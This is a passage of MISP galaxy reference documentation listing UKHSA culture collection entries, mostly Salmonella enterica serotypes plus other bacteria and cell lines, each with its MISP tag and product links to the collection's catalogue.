https://www.culturecollections.org.uk/nop/product/ham006-2

Mycoplasma cricetuli

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma cricetuli"*

Table 28285. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-cricetuli

Mycoplasma edwardii

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma edwardii"*

Table 28286. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-edwardii

LIM1863

The tag is: *misp-galaxy:ukhsa-culture-collections="LIM1863"*

Table 28287. Table References

Links
https://www.culturecollections.org.uk/nop/product/lim1863-3

CHH-1

The tag is: *misp-galaxy:ukhsa-culture-collections="CHH-1"*

Table 28288. Table References

Links
https://www.culturecollections.org.uk/nop/product/chh-1

RTG-2

The tag is: *misp-galaxy:ukhsa-culture-collections="RTG-2"*

Table 28289. Table References

Links
https://www.culturecollections.org.uk/nop/product/rtg-2

Candida auris

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida auris"*

Table 28290. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-auris-3
https://www.culturecollections.org.uk/nop/product/candida-auris-2
https://www.culturecollections.org.uk/nop/product/candida-auris

Do-11-10

The tag is: *misp-galaxy:ukhsa-culture-collections="Do-11-10"*

Table 28291. Table References

Links
https://www.culturecollections.org.uk/nop/product/do-11-10

N1-S1

The tag is: *misp-galaxy:ukhsa-culture-collections="N1-S1"*

Table 28292. Table References

Links
https://www.culturecollections.org.uk/nop/product/n1-s1

Streptococcus constellatus subsp. constellatus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus constellatus subsp. constellatus"*

Table 28293. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-constellatus-subsp-constellatus

Peptoniphilus ivorii

The tag is: *misp-galaxy:ukhsa-culture-collections="Peptoniphilus ivorii"*

Table 28294. Table References

Links
https://www.culturecollections.org.uk/nop/product/peptoniphilus-ivorii-2
https://www.culturecollections.org.uk/nop/product/peptoniphilus-ivorii

HAM008

The tag is: *misp-galaxy:ukhsa-culture-collections="HAM008"*

Table 28295. Table References

Links
https://www.culturecollections.org.uk/nop/product/ham008-2

Peptoniphilus harei

The tag is: *misp-galaxy:ukhsa-culture-collections="Peptoniphilus harei"*

Table 28296. Table References

Links

https://www.culturecollections.org.uk/nop/product/peptoniphilus-harei-2
https://www.culturecollections.org.uk/nop/product/peptoniphilus-harei

Grimontia hollisae

The tag is: *misp-galaxy:ukhsa-culture-collections="Grimontia hollisae"*

Table 28297. Table References

Links
https://www.culturecollections.org.uk/nop/product/grimontia-hollisae-2
https://www.culturecollections.org.uk/nop/product/grimontia-hollisae

Shewanella putrefaciens

The tag is: *misp-galaxy:ukhsa-culture-collections="Shewanella putrefaciens"*

Table 28298. Table References

Links
https://www.culturecollections.org.uk/nop/product/shewanella-putrefaciens
https://www.culturecollections.org.uk/nop/product/shewanella-putrefaciens-12
https://www.culturecollections.org.uk/nop/product/shewanella-putrefaciens-11
https://www.culturecollections.org.uk/nop/product/shewanella-putrefaciens-10
https://www.culturecollections.org.uk/nop/product/shewanella-putrefaciens-9
https://www.culturecollections.org.uk/nop/product/shewanella-putrefaciens-7
https://www.culturecollections.org.uk/nop/product/shewanella-putrefaciens-3
https://www.culturecollections.org.uk/nop/product/shewanella-putrefaciens-2
https://www.culturecollections.org.uk/nop/product/shewanella-putrefaciens-8
https://www.culturecollections.org.uk/nop/product/shewanella-putrefaciens-4
https://www.culturecollections.org.uk/nop/product/shewanella-putrefaciens-6
https://www.culturecollections.org.uk/nop/product/shewanella-putrefaciens-5

Staphylococcus hyicus

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus hyicus"*

Table 28299. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-hyicus

Enterococcus avium

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterococcus avium"*

Table 28300. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterococcus-avium
https://www.culturecollections.org.uk/nop/product/enterococcus-avium-2

Streptococcus mutans

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus mutans"*

Table 28301. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-mutans-4
https://www.culturecollections.org.uk/nop/product/streptococcus-mutans-2
https://www.culturecollections.org.uk/nop/product/streptococcus-mutans
https://www.culturecollections.org.uk/nop/product/streptococcus-mutans-5
https://www.culturecollections.org.uk/nop/product/streptococcus-mutans-3

Staphylococcus warneri

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus warneri"*

Table 28302. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-warneri
https://www.culturecollections.org.uk/nop/product/staphylococcus-warneri-5
https://www.culturecollections.org.uk/nop/product/staphylococcus-warneri-4
https://www.culturecollections.org.uk/nop/product/staphylococcus-warneri-2
https://www.culturecollections.org.uk/nop/product/staphylococcus-warneri-3

Staphylococcus sciuri subsp. sciuri

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus sciuri subsp. sciuri"*

Table 28303. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-sciuri-subsp-sciuri

HeLa (AC-free)

The tag is: *misp-galaxy:ukhsa-culture-collections="HeLa (AC-free)"*

Table 28304. Table References

Links
https://www.culturecollections.org.uk/nop/product/hela-ac-free

KHOS-240S

The tag is: *misp-galaxy:ukhsa-culture-collections="KHOS-240S"*

Table 28305. Table References

Links
https://www.culturecollections.org.uk/nop/product/khos-240s

A.704

The tag is: *misp-galaxy:ukhsa-culture-collections="A.704"*

Table 28306. Table References

Links
https://www.culturecollections.org.uk/nop/product/a704

MEG-01

The tag is: *misp-galaxy:ukhsa-culture-collections="MEG-01"*

Table 28307. Table References

Links
https://www.culturecollections.org.uk/nop/product/meg-01

Corynebacterium sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium sp."*

Table 28308. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-sp-13

Salmonella enterica subsp. enterica serotype Seftenberg

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Seftenberg"*

Table 28309. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-seftenberg

Salmonella enterica subsp. enterica serotype Panama

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Panama"*

Table 28310. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-panama-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-panama
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-panama-2

Salmonella enterica subsp. enterica serotype Berta

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Berta"*

Table 28311. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-berta-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-berta

Salmonella enterica subsp. enterica serotype Ealing

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Ealing"*

Table 28312. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-ealing-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-ealing

Salmonella enterica subsp. enterica serotype Alabama

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Alabama"*

Table 28313. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-alabama-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-alabama

Salmonella enterica subsp. enterica serotype Antarctica

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Antarctica"*

Table 28314. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-antarctica

Salmonella enterica subsp. enterica serotype Indiana

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Indiana"*

Table 28315. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-indiana

Salmonella enterica subsp. enterica serotype Crossness

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Crossness"*

Table 28316. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-crossness

Salmonella enterica subsp. enterica serotype Infantis

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Infantis"*

Table 28317. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-infantis-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-infantis

Salmonella enterica subsp. enterica serotype Altendorf

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Altendorf"*

Table 28318. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-altendorf

Salmonella enterica subsp. enterica serotype Tuebingen

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Tuebingen"*

Table 28319. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-tuebingen

Salmonella enterica subsp. indica serotype Ferlac

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. indica serotype Ferlac"*

Table 28320. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-indica-serotype-ferlac

Salmonella enterica subsp. salamae serotype Clovelly

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Clovelly"*

Table 28321. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-clovelly

Salmonella enterica subsp. enterica serotype Mikawasima

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Mikawasima"*

Table 28322. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-mikawasima-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-mikawasima

Salmonella enterica subsp. enterica serotype Champaign

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Champaign"*

Table 28323. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-champaign-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-champaign

Salmonella enterica subsp. houtenae serotype Seminole

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. houtenae serotype Seminole"*

Table 28324. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-houtenae-serotype-seminole

Salmonella enterica subsp. diarizonae serotype Eilbek

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. diarizonae serotype Eilbek"*

Table 28325. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-diarizonae-serotype-eilbek

Salmonella enterica subsp. salamae serotype Tulear

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Tulear"*

Table 28326. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-tulear

Salmonella enterica subsp. enterica serotype Dugbe

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Dugbe"*

Table 28327. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-dugbe

Salmonella enterica subsp. salamae serotype Luton

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Luton"*

Table 28328. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-luton

Salmonella enterica subsp. enterica serotype Maricopa

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Maricopa"*

Table 28329. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-maricopa

Salmonella enterica subsp. salamae serotype Betioky

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Betioky"*

Table 28330. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-betioky

Salmonella enterica subsp. salamae serotype Locarno

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Locarno"*

Table 28331. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-locarno

Salmonella enterica subsp. salamae serotype Artis

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Artis"*

Table 28332. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-artis

Salmonella enterica subsp. salamae serotype Tranoroa

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Tranoroa"*

Table 28333. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-tranoroa-2

Salmonella enterica subsp. enterica serotype Kaolack

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Kaolack"*

Table 28334. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-kaolack

Salmonella enterica subsp. salamae serotype Humber

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Humber"*

Table 28335. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-humber

Salmonella enterica subsp. enterica serotype Utrecht

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Utrecht"*

Table 28336. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-utrecht

Salmonella enterica subsp. enterica serotype Quinhon

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Quinhon"*

Table 28337. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-quinhon

Salmonella enterica subsp. enterica serotype Treforest

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Treforest"*

Table 28338. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-treforest

Salmonella enterica subsp. salamae serotype Bloemfontein

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Bloemfontein"*

Table 28339. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-bloemfontein

Streptococcus suis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus suis"*

Table 28340. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-suis
https://www.culturecollections.org.uk/nop/product/streptococcus-suis-2
https://www.culturecollections.org.uk/nop/product/streptococcus-suis-3

MG-63

The tag is: *misp-galaxy:ukhsa-culture-collections="MG-63"*

Table 28341. Table References

Links
https://www.culturecollections.org.uk/nop/product/mg-63

BSH012

The tag is: *misp-galaxy:ukhsa-culture-collections="BSH012"*

Table 28342. Table References

Links
https://www.culturecollections.org.uk/nop/product/bsh012

Flavobacterium sp. (f. breve-like)

The tag is: *misp-galaxy:ukhsa-culture-collections="Flavobacterium sp. (f. breve-like)"*

Table 28343. Table References

Links
https://www.culturecollections.org.uk/nop/product/flavobacterium-sp-f-breve-like

Salmonella enterica subsp. houtenae serotype Soesterberg

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. houtenae serotype Soesterberg"*

Table 28344. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-houtenae-serotype-soesterberg

Salmonella enterica subsp. enterica serotype Karamoja

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Karamoja"*

Table 28345. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-karamoja

Salmonella enterica subsp. enterica serotype Dahlem

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Dahlem"*

Table 28346. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-dahlem

Salmonella enterica subsp. enterica serotype Warragul

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Warragul"*

Table 28347. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-warragul

Salmonella enterica subsp. enterica serotype Caracas

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Caracas"*

Table 28348. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-caracas-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-caracas

Salmonella enterica subsp. salamae serotype Greenside

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Greenside"*

Table 28349. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-greenside

Salmonella enterica subsp. salamae serotype Degania

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Degania"*

Table 28350. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-degania

Salmonella enterica subsp. enterica serotype Yolo

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Yolo"*

Table 28351. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-yolo

Salmonella enterica subsp. enterica serotype Djugu

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Djugu"*

Table 28352. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-djugu

Salmonella enterica subsp. enterica serotype Neukoelln

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Neukoelln"*

Table 28353. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-neukoelln

Salmonella enterica subsp. enterica serotype Kalamu

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Kalamu"*

Table 28354. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-kalamu

Salmonella enterica subsp. enterica serotype Colombo

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Colombo"*

Table 28355. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-colombo

Salmonella enterica subsp. enterica serotype Emmastad

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Emmastad"*

Table 28356. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-emmastad

Salmonella enterica subsp. enterica serotype Korovi

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Korovi"*

Table 28357. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-korovi

Salmonella enterica subsp. enterica serotype Bodjonegoro

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Bodjonegoro"*

Table 28358. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-bodjonegoro

Salmonella enterica subsp. enterica serotype Godesberg

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Godesberg"*

Table 28359. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-godesberg

Salmonella enterica subsp. enterica serotype Ezra

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Ezra"*

Table 28360. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-ezra

Salmonella enterica subsp. enterica serotype Mundonobo

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Mundonobo"*

Table 28361. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-mundonobo

Salmonella enterica subsp. salamae serotype Kaltenhausen

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Kaltenhausen"*

Table 28362. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-kaltenhausen

Salmonella enterica subsp. enterica serotype Seattle

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Seattle"*

Table 28363. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-seattle

Salmonella enterica subsp. enterica serotype Lisboa

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Lisboa"*

Table 28364. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-lisboa

Salmonella enterica subsp. enterica serotype Cerro

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Cerro"*

Table 28365. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-cerro-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-cerro

Salmonella enterica subsp. enterica serotype Maracaibo

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Maracaibo"*

Table 28366. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-maracaibo

Salmonella enterica subsp. enterica serotype Manila

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Manila"*

Table 28367. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-manila

Salmonella enterica subsp. enterica serotype Goerlitz

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Goerlitz"*

Table 28368. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-goerlitz

Salmonella enterica subsp. enterica serotype Portland

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Portland"*

Table 28369. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-portland

Salmonella enterica subsp. salamae serotype Haarlem

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Haarlem"*

Table 28370. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-haarlem

Salmonella enterica subsp. enterica serotype Saarbruecken

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Saarbruecken"*

Table 28371. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-saarbruecken

Salmonella enterica subsp. enterica serotype Bronx

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Bronx"*

Table 28372. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-bronx

Salmonella enterica subsp. enterica serotype Decatur

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Decatur"*

Table 28373. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-decatur

Salmonella enterica subsp. enterica serotype Brazzaville

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Brazzaville"*

Table 28374. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-brazzaville

Salmonella enterica subsp. enterica serotype Hato

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Hato"*

Table 28375. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-hato

Salmonella enterica subsp. enterica serotype Duisburg

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Duisburg"*

Table 28376. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-duisburg

Salmonella enterica subsp. enterica serotype Usumbura

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Usumbura"*

Table 28377. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-usumbura

Salmonella enterica subsp. enterica serotype Thomasville

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Thomasville"*

Table 28378. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-thomasville

Aerococcus viridans

The tag is: *misp-galaxy:ukhsa-culture-collections="Aerococcus viridans"*

Table 28379. Table References

Links
https://www.culturecollections.org.uk/nop/product/aerococcus-viridans-16
https://www.culturecollections.org.uk/nop/product/aerococcus-viridans-15
https://www.culturecollections.org.uk/nop/product/aerococcus-viridans-4
https://www.culturecollections.org.uk/nop/product/aerococcus-viridans-5
https://www.culturecollections.org.uk/nop/product/aerococcus-viridans-12
https://www.culturecollections.org.uk/nop/product/aerococcus-viridans-13
https://www.culturecollections.org.uk/nop/product/aerococcus-viridans-6
https://www.culturecollections.org.uk/nop/product/aerococcus-viridans-9
https://www.culturecollections.org.uk/nop/product/aerococcus-viridans-10
https://www.culturecollections.org.uk/nop/product/aerococcus-viridans-14
https://www.culturecollections.org.uk/nop/product/aerococcus-viridans

https://www.culturecollections.org.uk/nop/product/aerococcus-viridans-2
https://www.culturecollections.org.uk/nop/product/aerococcus-viridans-3
https://www.culturecollections.org.uk/nop/product/aerococcus-viridans-7
https://www.culturecollections.org.uk/nop/product/aerococcus-viridans-8
https://www.culturecollections.org.uk/nop/product/aerococcus-viridans-11

LOO81785

The tag is: *misp-galaxy:ukhsa-culture-collections="LOO81785"*

Table 28380. Table References

Links
https://www.culturecollections.org.uk/nop/product/loo81785

Citrobacter youngae

The tag is: *misp-galaxy:ukhsa-culture-collections="Citrobacter youngae"*

Table 28381. Table References

Links
https://www.culturecollections.org.uk/nop/product/citrobacter-youngae-2
https://www.culturecollections.org.uk/nop/product/citrobacter-youngae

Alloicoccus otitidis

The tag is: *misp-galaxy:ukhsa-culture-collections="Alloicoccus otitidis"*

Table 28382. Table References

Links
https://www.culturecollections.org.uk/nop/product/alloicoccus-otitidis
https://www.culturecollections.org.uk/nop/product/alloicoccus-otitidis-2

Salmonella enterica subsp. enterica serotype Quiniela

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Quiniela"*

Table 28383. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-quiniela

Salmonella enterica subsp. enterica serotype Morotai

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Morotai"*

Table 28384. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-morotai

Salmonella enterica subsp. enterica serotype Mishmarhaemek

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Mishmarhaemek"*

Table 28385. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-mishmarhaemek

Salmonella enterica subsp. enterica serotype Milwaukee

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Milwaukee"*

Table 28386. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-milwaukee

Salmonella enterica subsp. enterica serotype Mendoza

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Mendoza"*

Table 28387. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-mendoza

Salmonella enterica subsp. enterica serotype Matadi

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Matadi"*

Table 28388. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-matadi

Salmonella enterica subsp. enterica serotype Lindenburg

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Lindenburg"*

Table 28389. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-lindenburg

Salmonella enterica subsp. enterica serotype Lille

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Lille"*

Table 28390. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-lille

Salmonella enterica subsp. enterica serotype Kingston

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Kingston"*

Table 28391. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-kingston

Salmonella enterica subsp. enterica serotype Israel

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Israel"*

Table 28392. Table References

Links
